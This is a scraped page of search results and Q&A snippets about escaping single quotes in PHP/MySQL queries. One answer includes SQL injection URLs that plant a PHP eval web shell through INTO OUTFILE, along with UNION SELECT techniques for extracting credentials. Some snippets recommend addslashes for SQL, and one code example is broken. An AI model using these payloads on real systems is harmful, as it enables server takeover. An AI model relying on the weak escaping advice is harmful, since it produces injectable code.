You should be escaping each of these strings (in both snippets) with mysql_real_escape_string().

https://www.php.net/mysql-real-escape-string

The reason your two queries are behaving differently is likely because you have magic_quotes_gpc turned on (which you should know is a bad idea). This means that strings gathered from $_GET, $_POST and $_COOKIES are escaped for you (i.e., "O'Brien" -> "O\'Brien").

Once you store the data, and subsequently retrieve it again, the string you get back from the database will not be automatically escaped for you. You'll get back "O'Brien". So, you will need to pass it through mysql_real_escape_string().

Answer from awgy on Stack Overflow
🌐
Spiceworks
community.spiceworks.com › programming & development
Escape single quote in sql statement w/ php - Programming & Development - Spiceworks Community
August 20, 2012 - Hello, I am using php / mysql to insert records into a table. I have an array of values (from a select statement) and i am looping through the array and running an insert statement. i am passing the value {$result[‘last’]} which contains a last name. When the last name has an apostrophe ...
🌐
w3resource
w3resource.com › mysql › string-functions › mysql-quote-function.php
MySQL QUOTE() function - w3resource
March 9, 2026 - MySQL QUOTE() produces a string ... The function achieves this by enclosing the string with single quotes, and by preceding each single quote, backslash, ASCII NUL and control-Z with a backslash....
🌐
GeeksforGeeks
geeksforgeeks.org › mysql › how-to-escape-a-single-quote-in-mysql
How to Escape a Single Quote in MySQL - GeeksforGeeks
July 23, 2025 - The strings are constant values which remain same for all rows. However to put quotes inside quotes is impossible and we need ways to escape the quotes. The first method to escape single quotes is to enclose the text in double quotes.
Top answer
1 of 4
8

The answer is that you don't need to. The proper way to use PDO's prepare is like this:

$stmt = $pdo->prepare(
   "SELECT * FROM `products_keywords` WHERE `product_type` = ?");

This is the whole point of using a prepared statement. Then you bind the parameter as follows:

$stmt->bindParam(1, $product_type)

Proof,

Schema:

create table `products_keywords`
(   `id` int not null,
    `products_keywords` varchar(1000) not null,
    `product_type` varchar(100) not null
);
insert `products_keywords` (`id`,`products_keywords`,`product_type`) values  
(1,'zoom lawn cut mower',"Lawn Mower"),
(2,'stylish torso Polo','Men\'s Shirt');

View data:

select * from `products_keywords`;
+----+---------------------+--------------+
| id | products_keywords   | product_type |
+----+---------------------+--------------+
|  1 | zoom lawn cut mower | Lawn Mower   |
|  2 | stylish torso Polo  | Men's Shirt  |
+----+---------------------+--------------+

PHP:

<?php
    // turn on error reporting, or wonder why nothing is happening at times
    error_reporting(E_ALL);
    ini_set("display_errors", 1);    

    $servername="localhost";
    $dbname="so_gibberish";
    $username="nate123";
    $password="openSesame1";

    try {
        $pdo = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

        $product_type="Men's Shirt";
        $stmt = $pdo->prepare("SELECT * FROM `products_keywords` WHERE `product_type` = ?");
        $stmt->bindParam(1, $product_type);
        $stmt->execute();
        while(stmt->fetch()) {
            echo row['products_keywords'].", ".$row['product_type']."<br/>";
        }
    } catch (PDOException $e) {
        echo 'pdo problemo: ' . $e->getMessage();   // dev not production code
        exit();
    }
?>

Browser:

2 of 4
2

I would actually suggest doing it the following way:

$stmt = $pdo->prepare(
   'SELECT * FROM `products_keywords` WHERE `product_type` = :product_type');
stmt->execute(array(':product_type' => $product_type));

This way you don't need to escape anything and your query is safe.

🌐
PHP
php.net › manual › en › function.addslashes.php
PHP: addslashes - Manual
Addslashes is *never* the right answer, it's (ab)use can lead to security exploits! if you need to escape HTML, it's (unfortunately) <?php echo htmlentities($html, ENT_QUOTES|ENT_SUBSTITUTE|ENT_DISALLOWED); ?> if you need to quote shell arguments, it's <?php $cmd.= " --file=" . escapeshellarg($arg); ?> if you need to quote SQL strings it's <?php $sql.= "WHERE col = '".$mysqli->real_escape_string($str)."'"; ?> or <?php $sql.= "WHERE col = " .
Find elsewhere
🌐
codestudy
codestudy.net › blog › how-to-escape-single-quotes-in-mysql
How to Escape Single Quotes in MySQL: Insert Data with Apostrophes and Quotes Properly — codestudy.net
The MySQL CLI (command line client) supports both backslashes and double single quotes: -- Using double single quotes (recommended for CLI) INSERT INTO users (name) VALUES ('O''Neil'); -- Using backslashes (works if NO_BACKSLASH_ESCAPES is disabled) INSERT INTO users (name) VALUES ('O\'Neil'); You can also use double quotes (") to delimit strings, but this depends on sql_mode (ANSI_QUOTES disables this). Stick to single quotes for consistency. PHP developers should always use prepared statements with PDO or MySQLi.
🌐
TutorialsPoint
tutorialspoint.com › how-to-escape-single-quotes-in-mysql
How to escape single quotes in MySQL?
PHP · Selected Reading · UPSC IAS Exams Notes · Developer's Best Practices · Questions and Answers · Effective Resume Writing · HR Interview Questions · Computer Glossary · Who is Who · MySQLMySQLi Database · We can escape single quotes with the help of the SELECT statement.
🌐
Stack Overflow
stackoverflow.com › questions › 23915545 › escape-single-quote-mysql-query-in-php
Escape single quote mysql query in php - Stack Overflow
May 28, 2014 - Not using prepared queries, for one... ... And that $query var is not generating that output. ... Save this answer. ... Show activity on this post. ... Copy$query = 'UPDATE #__k2_items SET extra_fields=\''.mysql_real_escape_string($campos_extra_updated).'\' WHERE id='.$item_id; ... What are you using mysql_real_escape_string?
🌐
TutorialsPoint
tutorialspoint.com › how-to-escape-apostrophe-in-mysql
How to escape apostrophe (') in MySQL?
July 30, 2019 - mysql> create table SingleQuotesDemo - > ( - > id int, - > name varchar(100) - > ); Query OK, 0 rows affected (1.16 sec)
Top answer
1 of 4
3

Insert string with single quote(') or double quote(") in mysql

Just Use addslashes(); in Insertion and stripslashes(); for fetch data.

$str = "Hello Friend's.. Hows you all"s.";
// Outputs: Hello Friend\'s..Hows you all\"s.
echo addslashes($str);

stripslashes — Un-quote string quoted with addslashes(). Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).

$str = "Hello Friend\'s.. Hows you all"s."; // Outputs: Hello Friend's.. Hows you all"s.
echo stripslashes($str);

Now we come to the point. If we insert string into database with single or double quote like this:

$str = “Hello Friend's.. Hows you all"s.”;
$query = “INSERT INTO tbl (description) VALUES (‘$str’)”;

This will occur error, but if we use addslashes($str) function like below and then insert into database, then no error will be occurred.

$str = “Hello Friend's.. Hows you all"s.”;
$desc_str = addslashes($str);
$query = “INSERT INTO tbl (description) VALUES (‘$desc_str’)”;

similarly we can use stripslashes($str) to print that table field value like this:

echo stripslashes($str);
2 of 4
2

You can easily avoid the whole escaping thing if you use mysqli or PDO with prepared statements. The mysql_* functions are deprecated anyway, so this would be the perfect opportunity to switch.

Your code would be something like (PDO, using your code):

$query = "insert into Tory (Content) values (:tweet)";
$stmt = $db->prepare($sql);    // $db being your PDO object
$stmt->execute(array(':tweet' => $_POST['tweet']));    // assuming you are not verifying the tweet somewhere else
🌐
Laracasts
laracasts.com › discuss › channels › laravel › mysql-query-escape-single-quote
mysql query escape single quote
Hello, i have a problem with this following db::insert command. I want to use array in a mysql query "in ()" section, but the commas has been escaped -> in ('435','1671','429') How can i solve this problem? <?php $users = [435,1671,429]; $list = implode("','",$users); DB::insert("insert into ". "rejections (calendar_id, user_id, not
Top answer
1 of 7
11

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.

The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Vulnerable Condition 1: no quote marks used.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Vulnerable Condition 2: double quote marks used

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

2 of 7
3

Indeed, in addition you could try something with UNION SELECT

shop.php?productid=322

=>

shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--

To display information from other tables.

Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.

🌐
PHPBuilder
board.phpbuilder.com › d › 10396261-escape-single-quote
Escape single quote - PHPBuilder Forums
April 2, 2018 - Hi there: I have been trying to escape a single quote. I have read up so much on this and have gone to many websites. I was getting a syntax error when po...